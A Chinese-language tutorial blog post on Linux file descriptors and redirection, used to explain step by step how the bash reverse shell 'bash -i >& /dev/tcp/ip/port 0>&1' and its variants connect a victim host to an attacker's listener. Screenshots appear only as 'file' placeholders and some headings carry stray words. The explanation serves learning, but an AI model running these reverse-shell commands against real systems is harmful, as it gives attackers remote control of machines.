Linux重定向及反弹shell详解

这里说Linux重定向的缘由主要仍是为了详细了解一下Linux中的反弹shellshell

目录

0x01 文件描述符bash

0x02 重定向socket

0x03 反弹shelltcp

0x04 交互重定向3d

0x05 命令变形code

0x01 文件描述符

Linux的文件描述符有如下三种blog

标准输入:0ip

标准输出:1文档

错误输出:2get

对于文件描述符就先知道这些就能够了,具体的使用会在重定向中来讲,重定向就是对文件描述符的操做

0x02 重定向

重定向主要分为如下两种

输入重定向 <<<

输出重定向 >>>

经过下面的两张图就能够很明白的看出来他们的用途了

file

file

咱们这里的输出重定向>,就至关因而1>,输入重定向 <,就至关因而0<

那若是要使用错误输出的话,就必须写成 2>

file

咱们也能够把错误的内容重定向到另外一个文件中的

下面这个操做,咱们就能够把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

file

一样也能够将结果和错误输出一块儿输出到一个文件中去

在正常输入的命令结尾加上2>&1就能够实现了,这个语句能够理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来

file

其实这里的&符号是为了区分文件跟文件描述符的,若是这里没有&符号,系统会把它理解为文件,而不是标准输出

file

0x03 反弹shell

下面是很常见的一条反弹shell命令,咱们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示建立一个交互式的shell,能够在帮助文档中看到

file

/dev/tcp/ip/port

实际上这个文件不是存在的,可是当你在监听这个端口的时候,对这个文件进行读写,就能够实现两个主机之间的socket通讯

file

首先咱们在本地开启监听,而后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.13333端口

file

file

0>&1

将标准输入和标准输出重定向到指定的文件中

若是把这条命令改为2>&1可能会更容易理解一点

file

file

若是理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给咱们的远程主机

理解了上面的内容,咱们将标准输出改成标准输入,看一下会发生什么事情

file

file

0x04 交互重定向

理解了上面的内容以后,咱们在一步步分解一下交互式shell

使用下面的语句能够将输出内容发送到攻击机上

file

file

可是这样会有一个问题,攻击者没有实现对此主机的彻底控制,是不能在受害主机中运行命令的,此时咱们还会想起来另外一条命令,将它转换成标准输入

file

file

这样咱们就实现了从攻击机输入命令进行控制,而后咱们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell

file

在这个状况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,而后将输出重定向到/dev/tcp/192.168.1.6/3333,从而造成了一个回路

file

可是这里面仍是有一个问题的,能够看到咱们输入的命令在受害主机上仍是会显示出命令的,因此仍是须要进行改进的

咱们上面也说了如何将全部的正确和错误信息都重定向到一块儿,这里就可使用这个方法来进行处理

file

file

能够看到全部产生的消息都在攻击机上显示出来了,这样就达到了咱们最初的目的了

咱们也可使用与之等价的命令来进行操做,也就是咱们最前面所写出来的那一条命令

file

file

0x05 命令变形

若是咱们把 0>&1 改为 0<&1 将会发生什么

file

能够发现二者的效果是同样的,它们惟一的不一样是打开文件时候的方式不一样,其余的内容都与咱们前面说的是同样的

一样的,咱们将 0>&1 变为 0>&2 是同样的效果

file

至于其余的变形类型的,就按照上面所说的那些东西本身去推算便可。

本文由博客一文多发平台 OpenWrite 发布!

相关文章
相关标签/搜索